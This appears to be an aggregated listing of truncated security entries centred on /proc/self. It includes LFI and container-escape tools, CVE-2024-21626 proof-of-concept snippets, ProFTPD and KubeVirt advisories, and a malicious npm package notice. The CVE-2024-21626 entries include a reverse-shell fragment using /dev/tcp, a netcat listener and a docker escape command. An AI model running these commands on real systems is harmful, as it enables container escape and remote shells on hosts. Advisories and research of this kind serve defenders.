liffy

Advanced LFI Exploitation Tool A powerful Python tool for Local File Inclusion LFI exploitation with advanced features including WAF bypass, encoding techniques, and comprehensive vulnerability detection. Liffy v2.0 is the significantly enhanced version of liffy which was originally created by...

whoc

whoc 내부 컨테이너 런타임을 추출하여 원격 서버로 전송하는 컨테이너 이미지입니다. 즐겨찾는 CSP 컨테이너 플랫폼의 기반 컨테이너 런타임을 건드려보세요! Defcon 29 Cloud Village에서의 WhoC Azurescape - whoc 기반 연구, 퍼블릭 클라우드 최초의 계정 간 컨테이너 탈취 70,000$ 바운티 어떻게 작동하나요? runc CVE-2019-5736에서 확인된 것처럼, 기존의 Linux 컨테이너 런타임은 /proc/self/exe를 통해 실행 중인 컨테이너에 자신을 노출합니다. whoc는 이 링크를...

CVE-2024-21626

CVE-2024-21626 PoC 要件 runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tcp/$ip/$port 0&1 EOF listen and wait for reverse shell nc -lvvp 1337 コンテナイメージを実行し...

CVE-2024-21626

CVE-2024-21626 この脆弱性の詳細な説明については、私の記事を参照してください。 エクスプロイト コンテナの実行によるエクスプロイト カスタムイメージをビルドする必要はありません。-w パラメータを指定してコンテナを実行するだけです: root@kitploit: docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm 実行中のコンテナへの exec によるエクスプロイト runc 自体によるエクスプロイト root@kitploit: /container/runc/runc...

php-bypass-disable-functions

php-bypass-disable-functions Linux 上の PHP の disablefunctions セキュリティ制御をバイパスする方法を示すデモプロジェクトです。プロセスは特別な /proc/self/map ファイルを標準のファイル操作（open/seek/read/write）で検査し、さらには自身のメモリを書き込むこともできます。 テスト済み: PHP 7.3.5, x8664 Linux 参照: https://seclists.org/bugtraq/2019/May/52 使い方 root@kitploit:...

EnvVisualizer

EnvVisualizer root@kitploit: . . . \ / \ \ / /|| | | || | / \ / /\ Y / | |/ / | \ \ | | | \ // \ \ | \ | \ / \ / | |\ | | // | || |/ /\ /| | / / /| // / |/ / /// \ | / / / / / / 侵害された Linux マシン上で/proc/self/environ を解析、分類、可視化します。 融合した環境変数の壁を、構造化された色分けされたインテリジェンスに数秒で変換します。 作者:...

CVE-2026-5555-Container-Escape-via-proc-self-fd-Symlink-in-Shared-Volume

CVE-2026-5555 – /proc/self/fd シンボリックリンクによるコンテナエスケープ 概要 rshared 伝播でマウントされた共有ボリュームにより、悪意のあるコンテナが /proc/self/fd を介してホストファイルを指すシンボリックリンクを作成できます。ボリュームに書き込むホストプロセスがそのシンボリックリンクを辿ることで、重要なホストファイルが上書きされ、コンテナからのエスケープが発生します。 脆弱性の詳細 種類: コンテナエスケープ / シンボリックリンク攻撃 影響: ホストファイルの上書き、ホスト上での root への権限昇格。 根本原因:...

kernel-exploit-dirtycow

Kernel Exploit — Dirty Cow CVE-2016-5195 Dirty Cow 脆弱性を利用した権限昇格ラボ。4Geeks Academy のサイバーセキュリティ専門コースの一環として実施しました。 説明 Dirty Cow は Linux カーネルのメモリサブシステムにおける競合状態 CVE-2016-5195 であり、権限のないローカルユーザーが /etc/passwd を含む読み取り専用メモリ領域への書き込みアクセスを取得できるようにします。これにより、管理者資格情報なしで直接 root に権限昇格することが可能になります。 環境 役割| システム| IP...

Linux Distros Unpatched Vulnerability : CVE-2026-35025

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restriction...

CVE-2026-35025

ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restrictions by prefixing paths with /proc/self/root in the RNFR command handler. Attackers can exploit the unresolved symlink components in...

CVE-2026-35025 ProFTPD ACL Bypass via /proc/self/root Path Prefix in RNFR

ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restrictions by prefixing paths with /proc/self/root in the RNFR command handler. Attackers can exploit the unresolved symlink components in...

EUVD-2026-38789

ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restrictions by prefixing paths with /proc/self/root in the RNFR command handler. Attackers can exploit the unresolved symlink components in...

CVE-2026-35025

ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restrictions by prefixing paths with /proc/self/root in the RNFR command handler. Attackers can exploit the unresolved symlink components in...

CVE-2026-35025

ProFTPD versions affected: 1.3.9b and 1.3.10rc2. Issue: an access control bypass in the RNFR path handling allows authenticated FTP users to bypass Directory ACL restrictions by prefixing paths with /proc/self/root. Root cause: unresolved symlink components in dir_canonical_path() cause dir_check...

CVE-2026-35025

ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restrictions by prefixing paths with /proc/self/root in the RNFR command handler. Attackers can exploit the unresolved symlink components in...

CVE-2026-35025 ProFTPD ACL Bypass via /proc/self/root Path Prefix in RNFR

ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restrictions by prefixing paths with /proc/self/root in the RNFR command handler. Attackers can exploit the unresolved symlink components in...

UNIX Symbolic Link (Symlink) Following

Overview Affected versions of this package are vulnerable to UNIX Symbolic Link Symlink Following in the OpenAtNoFollow process. An attacker can cause unintended file ownership or permission changes on host files by placing a symlink in the virt-launcher filesystem, which is then followed via...

PT-2026-52087

Name of the Vulnerable Software and Affected Versions KubeVirt affected versions not specified Description A flaw exists in the safepath package used by virt-handler. The OpenAtNoFollow function utilizes O PATH|O NOFOLLOW to obtain a file descriptor for a path leaf; however, subsequent operations...

PT-2026-51789

Name of the Vulnerable Software and Affected Versions ProFTPD versions 1.3.9b through 1.3.10rc2 Description An access control bypass allows authenticated FTP users to circumvent Directory ACL restrictions. By prefixing paths with /proc/self/root in the RNFR command handler, attackers can exploit...

Malicious code in @a91082900/test_package (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b8349cd7ce2c9ac2321dce8f80e5a46c0064b382fb7e54e975ff27a2dcab1254 The package's main file index.js executes at module load, with no exports and no user-invoked API. On import it issues...